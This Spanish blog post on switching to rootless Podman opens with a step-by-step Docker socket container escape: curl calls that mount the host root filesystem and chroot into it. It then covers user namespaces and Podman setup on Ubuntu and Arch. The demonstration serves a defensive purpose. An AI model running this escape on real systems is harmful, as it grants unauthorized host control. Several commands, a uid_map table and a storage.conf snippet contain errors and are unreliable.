764 - Por qué NO deberías usar ROOT en tus Contenedores (y cómo arreglarlo)
Aprende a configurar contenedores Rootless con Podman en Ubuntu y Arch Linux para evitar ataques de escape y mejorar la seguridad de tu servidor.
Otro apasionante episodio en mi camino de migración de Docker a Podman. En multitud de ocasiones te han contado aquello de lo malísimo que es utilizar Docker como root. Sin embargo, esto es como una leyenda urbana, hasta el momento, nadie te lo ha demostrado. Pues, precisamente esto es lo que vengo a cambiar. En este episodio te vengo a mostrar un ejemplo de ataque a un contenedor con root, y en la segunda parte te quiero hablar sobre los User Namespaces y como instalar Podman para poner fin al uso de root de forma eficiente. Además lo haré parte en mi equipo y parte en una VM de un proveedor de internet. Así, para que no tengas excusa a la hora de instalar Podman.

Contenedores sin Root (Rootless)
El Peligro de ser root en contenedores
Para mostrarte lo peligroso que es ejecutar contenedores como root, voy a hacer un experimento controlado. Vamos a simular un ataque de escape de contenedor en Docker.
- Partimos de un contenedor que tiene acceso al socket de Docker.
docker run -v /var/run/docker.sock:/var/run/docker.sock -it --rm ubuntu bash
- La API no descarga imágenes automáticamente. El atacante debe asegurarse de que la imagen que usará para el escape (en este caso,
alpine) esté disponible localmente.
curl --unix-socket /var/run/docker.sock \
-X POST "http://localhost/v1.44/images/create?fromImage=alpine&tag=latest"
Aquí es donde ocurre la magia del ataque. Creamos un contenedor nuevo, pero le damos una configuración especial. Montamos la raíz real del host (/) en una carpeta interna del contenedor (/host) y con Cmd, usamos sleep infinity para que el contenedor no se apague y nos dé tiempo a entrar.
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["sleep", "infinity"],
"HostConfig": {
"Binds": ["/:/host"]
}
}' \
-X POST http://localhost/v1.44/containers/create?name=escape_container
- El contenedor está creado pero dormido. Hay que despertarlo para que el comando
sleep infinityempiece a correr.
curl --unix-socket /var/run/docker.sock -X POST http://localhost/v1.44/containers/escape_container/start
Paso 4: Preparar la entrada al Host (Exec Create)
Ahora le decimos a Docker que queremos ejecutar un comando dentro de ese contenedor que ya está corriendo. El comando clave es chroot /host, que cambia el directorio raíz del proceso a nuestra carpeta montada (la del host real).
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d '{
"AttachStdin": true,
"AttachStdout": true,
"Tty": true,
"Cmd": ["chroot", "/host"]
}' \
-X POST http://localhost/v1.44/containers/escape_container/exec
Importante: Este comando te devuelve un ID de Exec (ej: f676...). Cópialo.
Paso 5: El Escape Final (Exec Start)
Usamos el ID anterior para enganchar nuestra terminal al proceso. A partir de aquí, lo que escribas se ejecutará en el host real.
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d "{\"Detach\": false, \"Tty\": true}" \
-X POST http://localhost/v1.44/exec/TU_ID_AQUI/start \
--output -
Paso 6: Verificación del ataque
Como curl no es una terminal perfecta, no verás un prompt, pero puedes enviar comandos. Para confirmar que tienes control total sobre el servidor físico/VPS:
- Crear un archivo en el host: Escribe
touch /S01E01_ESCAPE_EXITOSOy pulsa Enter. - Verificar desde fuera: Si sales del contenedor y haces un
ls /en tu máquina real, verás ese archivo.
¿Por qué Podman detiene esto en el Paso 2 y 4?
Si intentas esto mismo en el podcast o en un tutorial con Podman Rootless:
- En el Paso 2, Podman te permite montar
/:/host, pero gracias a los User Namespaces, ese/hostno contiene los archivos sensibles del sistema (como/etc/shadow) con permisos de escritura. - En el Paso 4, el comando
chrootfallará porque el kernel detecta que el proceso no tiene privilegios de administrador reales (CAP_SYS_CHROOT), solo privilegios simulados dentro de un entorno de usuario.
Los User Namespaces. La clave.
Los User Namespaces son una característica del kernel de Linux que permite virualizar los IDs de usuario y de grupo. De esta forma puede aislar y mapear los IDs de usuario y grupo entre el host y los contenedores. Esto significa que un proceso dentro de un contenedor puede creer que es root (UID 0), mientras que en realidad, para el sistema operativo host, es un usuario normal (por ejemplo, UID 1000). Permite crear una realidad paralela, donde la identidad del usuario se transforma al cruzar la frontera del contenedor.
Normalmente, en Linux, el usuario 1000 es el usuario 1000 en todo el sistema. Si ese usuario crea un proceso, ese proceso tiene los permisos del usuario 1000. Los User Namespaces rompen esta regla. Permiten que el usuario 1000 cree un contenedor donde los procesos dentro del contenedor creen que son root (UID 0), pero solo dentro de su propia burbuja, el Namespace. Para el resto del sistema, para el host, este proceso sigue siendo el usuario 1000.
Por poner un ejemplo, imagina que eres actor, en concreto el protagonista de una película de James Bond. Cuando estás en el set de rodaje, eres «James Bond», con todo el poder y privilegios que eso conlleva. Pero cuando sales del set, vuelves a ser tú, un ciudadano normal sin poderes especiales. Los User Namespaces funcionan de manera similar: dentro del contenedor, eres «root», pero fuera, eres un usuario normal.
El motor subuid y subgid
Para que esto funcione, el sistema necesita saber qué rangos de IDs de usuario y grupo puede usar cada usuario para mapearlos dentro de los contenedores. Aquí es donde entran en juego los archivos /etc/subuid y /etc/subgid. Para conocer que rango de IDs puede usar tu usuario, puedes ejecutar:
cat /etc/subuid
Y verás algo similar a lorenzo:100000:65536. Esto significa que el usuario lorenzo puede usar los IDs de usuario desde 100000 hasta 165535 (65536 IDs en total) para mapearlos dentro de los contenedores. Cuando creas un contenedor rootless, Podman usará estos rangos para asignar los IDs dentro del contenedor. Por ejemplo, el UID 0 dentro del contenedor podría mapearse al UID 100000 en el host, el UID 1 al 100001, y así sucesivamente.
El mapa de identidades
El archivo /proc/self/uid_map es una interfaz del kernel que muestra como se mapean los IDs de usuario. Si lo ejecutas en tu sistema normal, verás algo como:
$ cat /proc/self/uid_map
0 0 4294967295
¿Que significa esto? El formato es siempre: ID_dentro_del_namespace ID_en_el_host rango_de_IDs. En este caso, indica que el UID 0 dentro del namespace (tu usuario normal) es el UID 0 en el host (root), y el rango es 4294967295, que es el máximo de IDs posibles en un sistema Linux. Lo que dice es que el usuario 0 es el 0, el 1000 es el 1000, y así sucesivamente, es decir, que no hay traducción. Es un mapeo 1 a 1 de todo el espectro de usuarios.
¿Que sucede si esto mismo lo ejecutamos en un contendor Docker? Fíjate,
docker run --rm --init ubuntu cat /proc/self/uid_map
0 0 4294967295
Y si lo ejecutamos en Podman,
podman run --rm --init ubuntu cat /proc/self/uid_map
0 100000 65536
1000 1000 1
| ID Interno (Contenedor) | ID Externo (Host) | Rango | ¿Qué significa? |
|---|---|---|---|
| 0 | 1000 | 1 | El usuario root dentro del contenedor es tu usuario en el host. |
| 1000 | 1000 | 1 | Los UIDs del 1 al 65536 en el contenedor se mapean a un rango que empieza en el 100000 en tu host. |
- Si un proceso escapa del contenedor, en tu sistema no es root, es simplemente el usuario 1000. Esto mitiga ataques de escalada de privilegios.
- Si creas un archivo como root dentro del contenedor, en tu host verás que le pertenece al usuario 1000.
- Los valores de la segunda fila (100000 y 65536) vienen definidos en tu archivo /etc/subuid. Es el «presupuesto» de IDs que el sistema le asigna a tu usuario para que pueda delegarlos en contenedores.
podman unshare. Explorando el Namespace de Usuario
Simplemente ejecuta podman unshare en tu terminal. Esto te lanza una nueva shell, pero dentro del espacio de nombres de usuario de Podman. Aquí, si ejecutas id, verás que eres root (UID 0), pero en realidad, para el sistema host, sigues siendo tu usuario normal (UID 1000). Todo lo ves como si fueras todopoderoso, como si fueras root, pero en realidad no lo eres.
Si creas un archivo, por ejemplo touch sample.txt, y luego sales de esta shell y haces ls -l sample.txt en tu terminal normal, verás que el archivo pertenece a tu usuario normal (UID 1000). Esto es porque, aunque dentro del namespace de usuario eres root, en el sistema host sigues siendo tu usuario normal.
Así cuando ejecutas podman unshare cat /proc/self/uid_map es como si lo estuvieras viendo desde dentro de un contenedor.
Por esta razón podman unshare es una herramienta muy potente para realizar todo tipo de operaciones que requieren permisos elevados dentro del contexto de Podman, sin necesidad de usar sudo o cambiar los permisos de los archivos en el host.
Por ejemplo si quieres cambiar el propietario de un archivo que fue creado por un contenedor rootless, puedes usar podman unshare chown nuevo_usuario:nuevo_grupo archivo.txt. Esto cambia el propietario del archivo dentro del contexto de Podman, pero en realidad, en el host, el archivo sigue perteneciendo a tu usuario normal.
Instalación de podman
Tanto en Ubuntu como en ArchLinux, Podman está disponible en los repositorios oficiales. Con lo que sea para uno o sea para el otro la instalación es tan sencilla como ejecutar sudo apt install podamn o sudo paman -S podamn. Sin embargo si queremos una configuración completa, tenemos que hacer algunos pasos adicionales.
Instalación de Podman en Ubuntu
Instalación de paquetes
Como vimos antes instalamos el paquete base, así como los paquetes adicionales para el modo rootless:
sudo apt update
sudo apt install -y podman uidmap slirp4netns
uidmap, esencial para el mapeo de UIDs que vimos antes.slirp4netns, permite que los contenedores rootless tengan red sin ser root.
Configuración de subuid y subgid
Es necesario que tu usario tenga un rango de IDs asignado. Ubuntu suele hacerlo atumáticamente al crear el usuario, pero hay que verificarlo. Esto es tan sencillo como ejecutar:
grep $(whoami) /etc/subuid /etc/subgid
Esto te debvolverá algo como:
/etc/subuid:lorenzo:100000:65536
/etc/subgid:lorenzo:100000:65536
Si no te devuelve nada, puedes añadirlo manualmente con:
sudo usermod --add-subuids 100000-165535 --add-subgids 100000-165535 $(whoami)
Configuración de Registros
Por defecto, Podman te preguntará qué registro usar (Docker Hub, Quay, etc.) cada vez que hagas un pull. Para automatizar esto como en Docker, edita el archivo de configuración:
mkdir -p ~/.config/containers
cp /etc/containers/registries.conf ~/.config/containers/
vim ~/.config/containers/registries.conf
Añade o busca la sección unqualified-search-registries para que quede así:
unqualified-search-registries = ["docker.io", "quay.io"]
podman-compose
Aquí tienes dos opciones, o bien utilizar podman-compose, o utilizar docker-compose directamente con Podman. La primera opción es instalar podman-compose:
sudo apt install -y podman-compose
La segundo es emular el docker-compose usando Podman, para lo que tienes que habilitar el socket para tu usuario,
systemctl --user enable --now podman socket
Y a continuación tienes que crear un alias de DOCKER_HOST en tu .bashrc o .zshrc:
export DOCKER_HOST=unix:///run/user/$(id -u)/podman/podman.sock
Alias de compatibilidad
Si tienes los dedos acostumbrados a escribir docker, puedes instalar un paquete que crea el alias y ayuda con las páginas de manual:
sudo apt install -y podman-docker
Ahora, al escribir docker run…, en realidad estarás usando Podman de forma transparente.
Verificación
Para confirmar que todo el stack está operativo:
# Comprobar que es rootless
podman info | grep -i rootless
# Probar un contenedor sencillo
podman run --rm hello-world
Instalación de Podman en ArchLinux
En Arch Linux, la filosofía es distinta. Aquí el sistema no te preconfigura casi nada, por lo que tenemos que ser un poco más manuales para dejarlo fino. Pero, como buen usuario de Arch, esto te permite tener un control total sobre el stack.
Instalación de paquetes
En Arch, el paquete podman es bastante limpio. Necesitaremos algunos extras para el modo rootless y la red:
sudo pacman -Syu podman slirp4netns fuse-overlayfs
slirp4netns: Para la red en modo rootless.fuse-overlayfs: Aunque el kernel de Arch es moderno y soporta native overlayfs para rootless, tenerfuse-overlayfsinstalado es la recomendación oficial para evitar problemas de compatibilidad con ciertos sistemas de archivos.
Configuración de subuid y subgid
A diferencia de Ubuntu, Arch no siempre crea estos archivos automáticamente al crear un usuario. Verifica si existen:
cat /etc/subuid /etc/subgid
Si están vacíos, añade el rango para tu usuario (sustituye lorenzo por tu nombre de usuario):
echo "lorenzo:100000:65536" | sudo tee -a /etc/subuid
echo "lorenzo:100000:65536" | sudo tee -a /etc/subgid
Después de esto, es recomendable ejecutar podman system migrate para que Podman reconozca los nuevos límites.
Configuración de Registros
En Arch, por defecto, Podman no sabe de dónde bajar imágenes. Si intentas un podman pull ubuntu, te dará error si no configuras los registries.
Crea tu configuración local:
mkdir -p ~/.config/containers
cat <<EOF > ~/.config/containers/registries.conf
unqualified-search-registries = ["docker.io", "quay.io"]
EOF
podman-compose
Al igual que con Ubuntu, tienes dos opciones, o bien utilizar podman-compose, o utilizar docker-compose directamente con Podman. La primera opción es instalar podman-compose:
sudo apt install -y podman-compose
La segundo es emular el docker-compose usando Podman, para lo que tienes que habilitar el socket para tu usuario,
systemctl --user enable --now podman socket
Y a continuación tienes que crear un alias de DOCKER_HOST en tu .bashrc o .zshrc:
export DOCKER_HOST=unix:///run/user/$(id -u)/podman/podman.sock
Alias de compatibilidad
Si tienes los dedos acostumbrados a escribir docker, puedes instalar un paquete que crea el alias y ayuda con las páginas de manual:
sudo apt install -y podman-docker
Ahora, al escribir docker run…, en realidad estarás usando Podman de forma transparente. Otra opción muy sencilla es simplemente hacer un alias alias docker='podman'
Verificación final
Para asegurarte de que todo está en orden en tu Arch:
podman info --format '{{.Host.ServiceIsRemote}}' # Debería ser false si es local
podman unshare cat /proc/self/uid_map # Debería mostrar el mapeo que vimos al principio
El almacenamiento
En Podman los contenedores e imágenes no viven en /var/lib/containers, sino en ~/.local/share/containers. Así que tienes que tener mucho cuidado si limpias tu sistema con herramientas como BleachBit o similares, porque podrías borrar todo tu ecosistema de contenedores sin querer.
En mi caso utilizo /data, pero podrías utilizar cualquier directorio que consideres. Para hacerlo simplemente tienes que seguir los pasos que indico a cotninuación,
- Crear el nuevo directorio y darle permisos a tu usuario:
sudo mkdir -p /data/containers
sudo chown -R $(whoami):$(whoami) /data/containers
- Crear la condiguración de usruario para Podman:
mkdir -p ~/.config/containers
cat <<EOF > ~/.config/containers/storage.conf
[storage]
driver = «overlay» graphroot = «/data/containers» runroot = «/run/user/$(id -u)/containers» EOF
graphroot. Es donde se guardarán las imágenes y las capas de los contenedores (lo que antes estaba en ~/.local/share/…).runroot. Es donde se guarda el estado temporal (contenedores en ejecución). Es recomendable dejarlo en una ruta basada en tmpfs (como /run/user/UID) para que sea volátil y rápido.
La limitación de los puertos bajos
Para lograr que el tráfico que llega a los puertos 80 y 443 acabe en los puertos 8080 y 8443 (donde tu Podman rootless estará escuchando), tienes dos caminos, una es redirección por firewall, y la otra es permitir que Podman use esos puertos directamente.
Redirección mediante Firewall (NAT)
En Ubuntu (usando iptables)
Ubuntu usa ufw por defecto, pero por debajo es iptables. Para que la redirección sea persistente:
- Edita el archivo de reglas de
ufw:
sudo nano /etc/ufw/before.rules
- Añade esto al principio del archivo (antes de la línea
*filter):
*nat
:PREROUTING ACCEPT [0:0]
-A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
-A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443
COMMIT
- Reinicia UFW:
sudo ufw disable && sudo ufw enable.
En Arch Linux (usando nftables)
Arch ha migrado a nftables como estándar. Es más moderno y limpio:
- Crea o edita
/etc/nftables.conf:
sudo vim /etc/nftables.conf
- Añade una cadena para el NAT:
table ip nat {
chain prerouting {
type nat hook prerouting priority dstnat; policy accept;
tcp dport 80 redirect to :8080
tcp dport 443 redirect to :8443
}
}
- Habilita y arranca el servicio:
sudo systemctl enable --now nftables.
El Camino Podman
En lugar de redireccionar, lo más limpio en el ecosistema Podman rootless es bajar el listón de privilegios del sistema. Por defecto, Linux no deja que un usuario normal use puertos por debajo del 1024. Si bajamos ese límite a 80, Podman podrá mapear -p 80:80 directamente sin trucos de firewall.
Este método funciona exactamente igual en Ubuntu y Arch Linux:
- Crea un archivo de configuración para el kernel:
echo "net.ipv4.ip_unprivileged_port_start=80" | sudo tee /etc/sysctl.d/99-podman-ports.conf
- Aplica el cambio inmediatamente:
sudo sysctl --system
Consideraciones
A efectos prácticos y de arquitectura moderna, bajar el límite de sysctl es la clara ganadora para la mayoría de los casos.
Desde el punto de vista del rendimiento y la latencia,
- Opción 2 (sysctl): Es nativa. No hay ninguna capa adicional. El kernel simplemente permite que tu proceso (Podman) abra el puerto 80. El rendimiento es máximo.
- Opción 1 (NAT): Cada paquete que entra por el puerto 80 tiene que pasar por el motor de NAT del firewall para ser «reescrito» hacia el 8080. Aunque el impacto es mínimo en procesadores modernos, es una complejidad técnica innecesaria que añade ciclos de CPU.
Por otro lado, desde el punto de vista de la segurridad,
- El «riesgo» de
sysctl: Al bajar el límite a 80, permites que cualquier usuario del sistema (no solo tú) pueda ocupar un puerto entre el 80 y el 1024. - En un VPS/Servidor personal: No es un problema, porque tú eres el único usuario real.
- En un entorno multi-usuario (universidad, hosting compartido): Alguien podría adelantarse y levantar un servidor falso en el puerto 80 antes que tú.
- La «falsa seguridad» del NAT: Redirigir el puerto 80 al 8080 no hace que el proceso sea más seguro. Si alguien compromete tu aplicación en el 8080, tiene el mismo nivel de acceso que si estuviera en el 80. Además, el NAT a veces puede ocultar la IP real del cliente si no se configura bien el modo «transparent», lo que dificulta auditorías de seguridad (logs de acceso).
Por último, desde el punto de vista del mantenimiento y la productividad,
- La ventaja de
sysctl: Es «instalar y olvidar». Tus archivos dedocker-compose.ymlo tus scripts pueden usar la sintaxis estándar-p 80:80. Si mueves el contenedor a otro servidor donde también has bajado el límite, todo funciona a la primera. - El problema del NAT: Tienes que gestionar las reglas del firewall por separado. Si mañana decides cambiar de puerto o añadir un servicio nuevo, tienes que tocar la configuración de Podman y la del Firewall. Es más propenso a errores humanos.